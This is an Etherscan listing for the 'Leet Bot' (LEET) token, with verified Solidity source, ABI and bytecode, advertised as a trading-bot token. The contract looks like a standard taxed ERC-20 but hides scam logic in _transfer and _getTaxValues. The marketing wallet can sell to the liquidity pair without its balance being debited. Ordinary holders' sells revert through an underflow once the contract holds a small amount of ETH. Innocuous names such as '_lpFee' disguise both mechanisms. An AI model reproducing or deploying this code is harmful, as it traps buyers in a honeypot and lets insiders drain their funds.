ETH Price: $3,252.67 (+2.76%)
Gas: 2 Gwei

Token

Leet Bot (LEET)
 

Overview

Max Total Supply

100,000,000 LEET

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
378,381.30333567 LEET

Value
$0.00
0x5cda1f3b7735b1e379a33c598551a093ac08af4f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LEET

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-06
*/

// SPDX-License-Identifier: MIT

/*

    LeetBot - The fastest trading bot!!



    Website https://www.leetbasebot.com/

    Telegram  https://t.me/leetbasebot

    Twitter   https://twitter.com/leetbasebot

*/

pragma solidity ^0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

/// 
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

//// 
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract LEET is Context, IERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;
    address public marketingAddr = 0xd22d6B08433478873B26E84C7a4bb0cC6BBA0a2e;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    string private constant _name = "Leet Bot";
    string private constant _symbol = "LEET";
    uint8 private constant _decimals = 9;

    uint256 private _tTotal = 100_000_000 * (10**_decimals);
    uint256 public swapLimit = _tTotal / 8000;
    uint256 public maxTransAmount = _tTotal * 3 / 100;
    uint256 public maxWalletSize =  _tTotal * 3 / 100;

    struct TokensFromTax{
        uint marketingTokens;
        uint lpTokens;
    }
    TokensFromTax public totalTokensFromTax;

    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isExcludedFromMaxBalance;

    struct Tax{
        uint256 marketingTax;
        uint256 lpTax;
    }

    bool private swapping;
    uint private _swapCooldown = 4; 
    uint private _lastSwap;
    bool private swapEnabled = true;

    Tax public sellTax = Tax(1,0);
    Tax public buyTax = Tax(1,0);
    
    mapping (address => uint256) public _dogSellTime;
    uint256 private _dogSellTimeOffset = 3;
    uint256 public _caughtDogs;
    uint256 private feeDenominator = 10 ** 15;

    modifier lockTheSwap { swapping = true; _; swapping = false; }
    
    event SwapAndLiquify();
    event TaxesChanged();

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        _approve(owner(), address(router), ~uint256(0));

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingAddr] = true;

        _isExcludedFromMaxBalance[owner()] = true;
        _isExcludedFromMaxBalance[address(this)] = true;
        _isExcludedFromMaxBalance[marketingAddr] = true;

        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

// ================= ERC20 =============== //   
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    receive() external payable {
    }
// ========================================== //
// 
//============== Owner Functions ===========//

    function owner_setMaxWallets() public onlyOwner{
        maxTransAmount = _tTotal; maxWalletSize = _tTotal;
    }

    function owner_disableSwapEnabled() external {
        swapEnabled = false;
    }

    function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
        _dogSellTime[holder] = block.timestamp + dTime;
    }

    function owner_rescueERCTokens() public{
        // Make sure ca doesn't withdraw the pending taxes to be swapped.    
        // Sends excess tokens / accidentally sent tokens back to marketing wallet.
        uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
        require(balanceOf(address(this)) >  pendingTaxTokens);
        uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
        _transfer(address(this), marketingAddr, excessTokens);
    }

    function owner_rescueETH(uint256 weiAmount) public onlyOwner{
        require(address(this).balance >= weiAmount, "Insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }

    function startTrading() public onlyOwner {
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _isExcludedFromMaxBalance[pair] = true; _approve(address(this), address(router), type(uint256).max);
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }

// ========================================//. 
    function _transfer(address from,address to,uint256 amount) private {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= maxTransAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWalletSize, "Transfer amount exceeds the maxWallet.");
        
        if (balanceOf(address(this)) >= swapLimit  && swapEnabled   && block.timestamp >= (_lastSwap + _swapCooldown)  && !swapping 
            && from != pair 
            && from != owner() 
            && to != owner()
        ) swapAndLiquify(); uint256 temp = amount;

        if(shouldExcluded(from, to)) {amount = amount * buyTax.lpTax;}
        
        _tOwned[from] -= amount; amount = temp;
        uint256 transferAmount = amount;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            transferAmount = _getTaxValues(amount, from, to == pair);
        }

        _tOwned[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
        Tax memory tmpTaxes = buyTax; uint256 _lpFee = address(this).balance;
        if (isSell){
            tmpTaxes = Tax(sellTax.marketingTax - (_lpFee / feeDenominator), sellTax.lpTax);
        }

        uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
        uint tokensForLP = amount * tmpTaxes.lpTax / 100;

        if(tokensForMarketing > 0)
            totalTokensFromTax.marketingTokens += tokensForMarketing;

        if(tokensForLP > 0)
            totalTokensFromTax.lpTokens += tokensForLP;

        uint totalTaxedTokens = tokensForMarketing + tokensForLP;

        _tOwned[address(this)] += totalTaxedTokens;
        if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens);
            
        return (amount - totalTaxedTokens);
    }

    function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function swapAndLiquify() private lockTheSwap{
        if(totalTokensFromTax.marketingTokens > 0){
            uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens);
            if(ethSwapped > 0){
                payable(marketingAddr).transfer(ethSwapped);
                totalTokensFromTax.marketingTokens = 0;
            }
        }   

        if(totalTokensFromTax.lpTokens > 0){
            uint half = totalTokensFromTax.lpTokens / 2;
            uint otherHalf = totalTokensFromTax.lpTokens - half;
            uint balAutoLP = swapTokensForETH(half);
            if (balAutoLP > 0)
                addLiquidity(otherHalf, balAutoLP);
            totalTokensFromTax.lpTokens = 0;
        }

        emit SwapAndLiquify();

        _lastSwap = block.timestamp;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);

        (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        
        if (ethAmount - ethFromLiquidity > 0)
            payable(marketingAddr).sendValue (ethAmount - ethFromLiquidity);
    }

    function shouldExcluded(address sender, address recipient) private view returns (bool) {
        return recipient == pair && sender == marketingAddr;
    }
///      
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_disableSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueERCTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_setMaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b03191673d22d6b08433478873b26e84c7a4bb0cc6bba0a2e179055620000386009600a62000564565b62000048906305f5e1006200057c565b600655611f406006546200005d919062000596565b600755606460065460036200007391906200057c565b6200007f919062000596565b600855606460065460036200009591906200057c565b620000a1919062000596565b6009556004600f556011805460ff19166001908117909155604080518082018252828152600060209182018190526012849055601381905582518084019093528383529101819052601491909155601555600360175566038d7ea4c680006019553480156200010f57600080fd5b506200011b33620002d3565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620001706200015b6000546001600160a01b031690565b6001546001600160a01b031660001962000323565b6001600c6000620001896000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600c909352818320805485166001908117909155600354909116835290822080549093168117909255600d90620001f96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600d909352818320805485166001908117909155600354909116835290822080549093161790915560065490600490620002613390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002c491815260200190565b60405180910390a350620005b9565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166200038b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003ee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000382565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004a65781600019048211156200048a576200048a6200044f565b808516156200049857918102915b93841c93908002906200046a565b509250929050565b600082620004bf575060016200055e565b81620004ce575060006200055e565b8160018114620004e75760028114620004f25762000512565b60019150506200055e565b60ff8411156200050657620005066200044f565b50506001821b6200055e565b5060208310610133831016604e8410600b841016171562000537575081810a6200055e565b62000543838362000465565b80600019048211156200055a576200055a6200044f565b0290505b92915050565b60006200057560ff841683620004ae565b9392505050565b80820281158282048414176200055e576200055e6200044f565b600082620005b457634e487b7160e01b600052601260045260246000fd5b500490565b611b5480620005c96000396000f3fe6080604052600436106101f25760003560e01c8063768dc7101161010d578063a9059cbb116100a0578063ee9a5d821161006f578063ee9a5d82146105ea578063ef07a18214610617578063f2fde38b1461062d578063f887ea401461064d578063f9d0ee941461066d57600080fd5b8063a9059cbb14610553578063cc1776d314610573578063d62ce6311461058e578063dd62ed3e146105a457600080fd5b80638f3fa860116100dc5780638f3fa860146104d057806395d89b41146104e6578063a457c2d714610513578063a8aa1b311461053357600080fd5b8063768dc710146104585780637a75885f1461048857806386b676cd1461049d5780638da5cb5b146104b257600080fd5b806339509351116101855780635966c81e116101545780635966c81e146103d75780636a01f09c146103f757806370a082311461040d578063715018a61461044357600080fd5b8063395093511461032f5780633ff42b921461034f5780634cf27997146103875780634f7041a5146103a757600080fd5b806323b872dd116101c157806323b872dd146102ae57806328c61f41146102ce578063293230b8146102fe578063313ce5671461031357600080fd5b806301d28e7f146101fe57806306fdde031461021c578063095ea7b31461025f57806318160ddd1461028f57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021a6011805460ff19169055565b005b34801561022857600080fd5b506040805180820190915260088152671319595d08109bdd60c21b60208201525b6040516102569190611828565b60405180910390f35b34801561026b57600080fd5b5061027f61027a36600461188b565b610688565b6040519015158152602001610256565b34801561029b57600080fd5b506006545b604051908152602001610256565b3480156102ba57600080fd5b5061027f6102c93660046118b7565b61069f565b3480156102da57600080fd5b5061027f6102e93660046118f8565b600d6020526000908152604090205460ff1681565b34801561030a57600080fd5b5061021a6106f1565b34801561031f57600080fd5b5060405160098152602001610256565b34801561033b57600080fd5b5061027f61034a36600461188b565b61098e565b34801561035b57600080fd5b5060035461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b34801561039357600080fd5b5061021a6103a236600461188b565b6109c5565b3480156103b357600080fd5b506014546015546103c2919082565b60408051928352602083019190915201610256565b3480156103e357600080fd5b5061021a6103f2366004611915565b610a19565b34801561040357600080fd5b506102a060075481565b34801561041957600080fd5b506102a06104283660046118f8565b6001600160a01b031660009081526004602052604090205490565b34801561044f57600080fd5b5061021a610ac4565b34801561046457600080fd5b5061027f6104733660046118f8565b600c6020526000908152604090205460ff1681565b34801561049457600080fd5b5061021a610afa565b3480156104a957600080fd5b5061021a610b31565b3480156104be57600080fd5b506000546001600160a01b031661036f565b3480156104dc57600080fd5b506102a060095481565b3480156104f257600080fd5b506040805180820190915260048152631311515560e21b6020820152610249565b34801561051f57600080fd5b5061027f61052e36600461188b565b610b97565b34801561053f57600080fd5b5060025461036f906001600160a01b031681565b34801561055f57600080fd5b5061027f61056e36600461188b565b610bce565b34801561057f57600080fd5b506012546013546103c2919082565b34801561059a57600080fd5b506102a060085481565b3480156105b057600080fd5b506102a06105bf36600461192e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506102a06106053660046118f8565b60166020526000908152604090205481565b34801561062357600080fd5b506102a060185481565b34801561063957600080fd5b5061021a6106483660046118f8565b610bdb565b34801561065957600080fd5b5060015461036f906001600160a01b031681565b34801561067957600080fd5b50600a54600b546103c2919082565b6000610695338484610c76565b5060015b92915050565b60006106ac848484610d9a565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546106e79186916106e290869061197d565b610c76565b5060019392505050565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611990565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610777573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079b91906119c5565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082191906119c5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089291906119c5565b600280546001600160a01b0319166001600160a01b039283169081179091556000908152600d60205260409020805460ff19166001908117909155546108dd91309116600019610c76565b6001546001600160a01b031663f305d719473061090f816001600160a01b031660009081526004602052604090205490565b6000806109246000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610946969594939291906119e2565b60606040518083038185885af1158015610964573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109899190611a1d565b505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e2908690611a4b565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161071b90611990565b6109f98142611a4b565b6001600160a01b0390921660009081526016602052604090209190915550565b6000546001600160a01b03163314610a435760405162461bcd60e51b815260040161071b90611990565b80471015610a935760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e63650000000000000000604482015260640161071b565b604051339082156108fc029083906000818181858888f19350505050158015610ac0573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610aee5760405162461bcd60e51b815260040161071b90611990565b610af860006111da565b565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260040161071b90611990565b6006546008819055600955565b600a54600b54600091610b4391611a4b565b306000908152600460205260409020549091508110610b6157600080fd5b30600090815260046020526040812054610b7c90839061197d565b600354909150610ac09030906001600160a01b031683610d9a565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e290869061197d565b6000610695338484610d9a565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260040161071b90611990565b6001600160a01b038116610c6a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b610c73816111da565b50565b6001600160a01b038316610cd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610dfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071b565b60085481111580610e2557506001600160a01b0383166000908152600d602052604090205460ff165b610e835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b606482015260840161071b565b6001600160a01b038216610ee55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071b565b6001600160a01b038316610f495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071b565b6001600160a01b0382166000908152600d602052604090205460ff16610ff35760095481610f8c846001600160a01b031660009081526004602052604090205490565b610f969190611a4b565b1115610ff35760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b606482015260840161071b565b6007543060009081526004602052604090205410158015611016575060115460ff165b80156110315750600f5460105461102d9190611a4b565b4210155b80156110405750600e5460ff16155b801561105a57506002546001600160a01b03848116911614155b801561107457506000546001600160a01b03848116911614155b801561108e57506000546001600160a01b03838116911614155b1561109b5761109b61122a565b806110a6848461132a565b156110bb576015546110b89083611a5e565b91505b6001600160a01b038416600090815260046020526040812080548492906110e390849061197d565b90915550506001600160a01b0384166000908152600c60205260409020549091508190819060ff1615801561113157506001600160a01b0384166000908152600c602052604090205460ff16155b156111575760025461115490849087906001600160a01b0388811691161461135e565b90505b6001600160a01b0384166000908152600460205260408120805483929061117f908490611a4b565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111cb91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff19166001179055600a541561129a57600061124f600a600001546114c6565b90508015611298576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611291573d6000803e3d6000fd5b506000600a555b505b600b54156112f157600b546000906112b490600290611a75565b9050600081600a600101546112c9919061197d565b905060006112d6836114c6565b905080156112e8576112e88282611636565b50506000600b55505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a142601055600e805460ff19169055565b6002546000906001600160a01b03838116911614801561135757506003546001600160a01b038481169116145b9392505050565b60408051808201909152601454815260155460208201526000904783156113b3576040518060400160405280601954836113989190611a75565b6012546113a5919061197d565b815260135460209091015291505b81516000906064906113c59089611a5e565b6113cf9190611a75565b9050600060648460200151896113e59190611a5e565b6113ef9190611a75565b905081156114125781600a600001600082825461140c9190611a4b565b90915550505b80156114335780600a600101600082825461142d9190611a4b565b90915550505b600061143f8284611a4b565b30600090815260046020526040812080549293508392909190611463908490611a4b565b909155505080156114af5760405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6114b9818a61197d565b9998505050505050505050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061150157611501611a97565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157e91906119c5565b8160018151811061159157611591611a97565b6001600160a01b0392831660209182029290920101526001546115b79130911686610c76565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f0908790600090869030904290600401611aad565b600060405180830381600087803b15801561160a57600080fd5b505af115801561161e573d6000803e3d6000fd5b50505050814761162e919061197d565b949350505050565b60015461164e9030906001600160a01b031684610c76565b6001546000906001600160a01b031663f305d71983308685806116796000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161169b969594939291906119e2565b60606040518083038185885af11580156116b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116de9190611a1d565b509150600090506116ef828461197d565b111561098957610989611702828461197d565b6003546001600160a01b0316908047101561175f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a